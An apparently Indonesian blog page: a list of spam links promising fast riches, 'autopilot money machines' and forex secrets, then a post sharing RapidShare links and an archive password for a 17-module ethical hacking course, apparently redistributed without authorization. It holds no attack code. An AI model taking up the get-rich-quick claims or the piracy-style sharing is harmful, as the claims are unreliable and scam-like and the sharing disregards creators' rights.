Kiat Menjadi Pria Idaman yang di Gilai Setiap Wanita
http://priaidamanwanita.blogspot.com
Rahasia Bagaimana Menarik Lebih Banyak Uang ke Kantong Anda
http://bisnistop.110mb.com/ecerdas/ecerdas.html
Rahasia Menghasilkan Rp 33,6 Milyar
http://dana-bersama.blogspot.com
3 Faktor Kunci Kekayaan
http://ecerdas.com/?id=xtraincome
Investasi Rakyat, Mudah penghasilan MELIMPAH
http://dana-abadi.blogspot.com
Download Mesin UANG IndoJutawan
http://indojutawan.com/pdf/?id=wawanbiz
Mesin Uang terbaru
http://www.gamautama.com/index.php?id=xtraincome
Cara Ajaib Mewujudkan Apapun yg Anda Inginkan Dalam Hidup
http://wujudkanimpianmu.blogspot.com
3 RAHASIA MILYUNER ONLINE
http://www.kerajaanuang.com/?id=milyarder
Mengungkap Rahasia Sukses Menjalankan Bisnis Affiliasi
http://jurusmautaffiliasi.com/?ref=bisnisku
Strategis JITU Kalahkan Pesaing dalam MEREBUT LOWONGAN KERJA
http://wawan-ebook.110mb.com/kerja/
Petunjuk Cara Mudah Mempunyai MESIN UANG AUTOPILOT di Internet
http://www.superautopilot.com/?reff=wawanbiz
Paket buku panduan usaha service komputer & refill tinta printer
http://solusi-pc.blogspot.com
RAHASIA CEWEK
http://rahasia-cewek.blogspot.com
STRATEGI JITU FOREX
http://strategijituforex.blogspot.com
FORMULA RAHASIA JITU
http://formularahasiajitu.blogspot.com
BELAJAR JADI PENGUSAHA
http://belajarjadipengusaha.blogspot.com
INTERNET LADANG UANG
http://internetladanguang.blogspot.com
RAHASIA KAYA KEUANGAN PRIBADIKU
http://keuanganpribadiku.blogspot.com
LOWONGAN KERJA MENARIK
http://lowongankerjamenarik.blogspot.com
RAHASI UMUR PANJANG
http://rahasiaumurpanjang.blogspot.com
PANDUAN BISNIS RUMAHAN
http://panduanbisnisrumahan.blogspot.com
Dana Hibah HINGGA RATUSAN JUTA dari Jutawan Sukses
http://jutawansukseskaya.blogspot.com
BUKU DIGITAL ATAU EBOOK GRATISAN
http://wawan-ebook.blogspot.com
http://buku2gratis.blogspot.com
#-~o0o~-~o0o~-~o0o~-~o0o~-~o0o~-~o0o~-~o0o~-~o0o~-~o0o~-
Posted by : dELiozart on | Labels: Berita, Google, Hacking, Tips nTrik, Windows | 0 Comments
HACKING TOOL BISA ANDA DAPATKAN DISINI
HACKING TOOL BISA ANDA DAPATKAN DISINI
-Training Module 1 Ethical Hacking and Penetration Testing - cd 1 - 250 mb
http://rapidshare.com/files/6870957/traininga.part1.rar.html
http://rapidshare.com/files/6875509/traininga.part2.rar.html
http://rapidshare.com/files/6880184/traininga.part3.rar.html
http://rapidshare.com/files/6884786/traininga.part4.rar.html
http://rapidshare.com/files/6889797/traininga.part5.rar.html
http://rapidshare.com/files/6890170/traininga.part6.rar.html
------------------------------------------------------------
-Training Module 2 Footprinting and Reconnaissance - cd 2 - 210 mb
http://rapidshare.com/files/6920123/trainingb.part1.rar.html
http://rapidshare.com/files/6925380/trainingb.part2.rar.html
http://rapidshare.com/files/6930474/trainingb.part3.rar.html
http://rapidshare.com/files/6935598/trainingb.part4.rar.html
http://rapidshare.com/files/6937268/trainingb.part5.rar.html
------------------------------------------------------------
-Training Module 3 TCP IP Basics and Scanning - cd 3 - 153 mb
http://rapidshare.com/files/6950222/trainingc.part1.rar.html
http://rapidshare.com/files/6954540/trainingc.part2.rar.html
http://rapidshare.com/files/6958405/trainingc.part3.rar.html
http://rapidshare.com/files/6958651/trainingc.part4.rar.html
------------------------------------------------------------
-Training Module 4 Enumeration and Verification - cd 4 - 200 mb
http://rapidshare.com/files/6995889/trainingd.part1.rar.html
http://rapidshare.com/files/6999123/trainingd.part2.rar.html
http://rapidshare.com/files/7002551/trainingd.part3.rar.html
http://rapidshare.com/files/7005909/trainingd.part4.rar.html
http://rapidshare.com/files/7006074/trainingd.part5.rar.html
------------------------------------------------------------
-Training Module 5 Hacking Defending Wireless Modems - cd 5 - 94 mb
http://rapidshare.com/files/7017480/traininge.part1.rar.html
http://rapidshare.com/files/7021255/traininge.part2.rar.html
------------------------------------------------------------
-Training Module 6 Hacking Defending Web Servers - cd 6 - 150 mb
http://rapidshare.com/files/7029199/trainingf.part1.rar.html
http://rapidshare.com/files/7034545/trainingf.part2.rar.html
http://rapidshare.com/files/7039580/trainingf.part3.rar.html
http://rapidshare.com/files/7040200/trainingf.part4.rar.html
------------------------------------------------------------
-Training Module 7 Hacking Defending Web Applications - cd 7 - 110 mb
http://rapidshare.com/files/7049302/trainingg.part1.rar.html
http://rapidshare.com/files/7054559/trainingg.part2.rar.html
http://rapidshare.com/files/7056051/trainingg.part3.rar.html
------------------------------------------------------------
-Training Module 8 Sniffers and Session Hijacking - cd 8 - 115 mb
http://rapidshare.com/files/7069844/trainingh.part1.rar.html
http://rapidshare.com/files/7076146/trainingh.part2.rar.html
http://rapidshare.com/files/7084439/trainingh.part3.rar.html
------------------------------------------------------------
-Training Module 9 Hacking Defending Windows Systems - cd 9 - 120 mb
http://rapidshare.com/files/7090868/trainingi.part1.rar.html
http://rapidshare.com/files/7095821/trainingi.part2.rar.html
http://rapidshare.com/files/7097885/trainingi.part3.rar.html
------------------------------------------------------------
-Training Module 10 Hacking Defending Unix Systems - cd 10 - 150 mb
http://rapidshare.com/files/7136591/trainingJ.part1.rar.html
http://rapidshare.com/files/7139658/trainingJ.part2.rar.html
http://rapidshare.com/files/7142501/trainingJ.part3.rar.html
------------------------------------------------------------
-Training Module 11 Rootkits Backdoors Trojans Tunnels - cd 11 - 115 mb
http://rapidshare.com/files/7147118/trainingk.part1.rar.html
http://rapidshare.com/files/7159091/trainingk.part2.rar.html
http://rapidshare.com/files/7160611/trainingk.part3.rar.html
------------------------------------------------------------
-Training Module 12 Denial of Service and Botnets - cd 12 - 100 mb
http://rapidshare.com/files/7182977/trainingL.part1.rar.html
http://rapidshare.com/files/7187533/trainingL.part2.rar.html
------------------------------------------------------------
-Training Module 13 Automated Pen Testing Tools - cd 13 - 102 mb
http://rapidshare.com/files/7202752/trainingm.part1.rar.html
http://rapidshare.com/files/7208149/trainingm.part2.rar.html
http://rapidshare.com/files/7208549/trainingm.part3.rar.html
------------------------------------------------------------
-Training Module 14 Intrusion Detection Systems - cd 14 - 140 mb
http://rapidshare.com/files/7224433/trainingn.part1.rar.html
http://rapidshare.com/files/7230417/trainingn.part2.rar.html
http://rapidshare.com/files/7234950/trainingn.part3.rar.html
------------------------------------------------------------
-Training Module 15 Firewalls - cd 15 - 160 mb
http://rapidshare.com/files/7252545/trainingo.part1.rar.html
http://rapidshare.com/files/7255895/trainingo.part2.rar.html
http://rapidshare.com/files/7258850/trainingo.part3.rar.html
http://rapidshare.com/files/7259491/trainingo.part4.rar.html
------------------------------------------------------------
-Training Module 16 Honeypots and Honeynets - cd 16 - 120 mb
http://rapidshare.com/files/7262593/trainingp.part1.rar.html
http://rapidshare.com/files/7265259/trainingp.part2.rar.html
http://rapidshare.com/files/7266075/trainingp.part3.rar.html
------------------------------------------------------------
-Training Module 17 Ethics and Legal Issues - cd 17 - 90 mb
http://rapidshare.com/files/7268140/trainingq.part1.rar.html
http://rapidshare.com/files/7269823/trainingq.part2.rar.html
------------------------------------------------------------
Password = jL4XyiI7MxX3afM0
Posted by : dELiozart on | Labels: Berita, Hacking, Tips nTrik, Windows | 0 Comments
